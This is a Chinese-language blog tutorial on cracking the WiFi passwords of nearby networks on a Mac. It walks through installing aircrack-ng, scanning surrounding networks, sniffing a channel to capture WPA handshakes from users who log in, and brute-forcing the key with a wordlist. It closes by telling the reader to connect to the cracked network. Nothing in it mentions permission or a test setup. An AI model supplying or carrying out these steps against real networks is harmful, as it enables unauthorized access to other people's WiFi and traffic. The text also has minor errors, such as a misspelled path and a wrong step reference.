Mac破解WIFI密码

第一步,安装 Macport 和 Xcode

安装macport macport 是一个工具 管理软件包的一个工具,我们也可以通过别的方式安装 Aircrack-ng,但是通过 macport 安装Aircrack-ng的速度是最快的,(Mac系统要求安装Xcode, 可以参考macport的首页)

第二步,安装 Aircrack-ng

通过终端命令行执行:

sudo port install aircrack-ng

要求输入密码,输入后可能会提示 Port aircrack-ng not found ,没关系我们需要更新 ports tree,在终端执行:

sudo port -v selfupdate

如果还提示 not found,那么再次执行更新 ports tree 命令

第三步,获取当前网卡

通过ifconfig命令获取当前的网卡的名字, 我这边网卡名字为en0


第四步,获取所有的无线网络

使用mac系统自带的 airport 工具,查看当前的无线网络,以及它们的相关信息,在终端中执行:

sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s

系统显示如下图,以下为我附近所有的 wifi,注意看表格,SSID 是 wifi 名称,RSSI 是信号强度,CHANNEL 是信道。


第五步,开始抓包,收集监听周围无线网络的数据

参数 en0 是我电脑的默认网卡, 数字153是网卡需要监听的网络频道:

sudo airport en0 sniff 153

当执行以上命令, 开始监听以后, wifi的图标会发生改变, 变成一个小眼睛一样的图标:

监听久一点,然后使用 ctrl+c 停止监听,系统会把监听到的数据保存到本地,如下图,数据保存到 /tmp/airportSniffBEVR1S.cap 文件中:


在监听的过程中如果有用户登陆这个wifi,那么包就会被我们截获,如果用户一直没有登陆到这个wifi,我们就还要继续等待监听,尽量在手机或者手提电脑所用高峰期开启捕获,这样捕获握手(handshake)的几率比较高。

第六步,查看 cap 文件中的数据是否被抓取到

终端运行命令:

sudo aircrack-ng /tmp/airportSniffBEVR1S.cap 

如果要查询的路由列表的 Encryption 值为WPA(1 handshake) ,说明抓取成功,否者跳到第六步,要重新抓取:


第七步,输入命令 Air-crack 开始破解

先进入字典包所在目录,我这里把字典包放在桌面:

cd ~/Decktop

然后开始破解,这里我的字典包围 wordlist.txt:

sudo aircrack-ng -w wordlist.txt /tmp/airportSniffBEVR1S.cap

只要字典够大,密码破出来应该指日可待,字典可以自己去做,或者网上下载

破解成功以后,命令行会显示 KEY FOUND:

OK,接下来就可以连接使用了。

阅读更多
想对作者说点什么?

博主推荐

换一批

没有更多推荐了,返回首页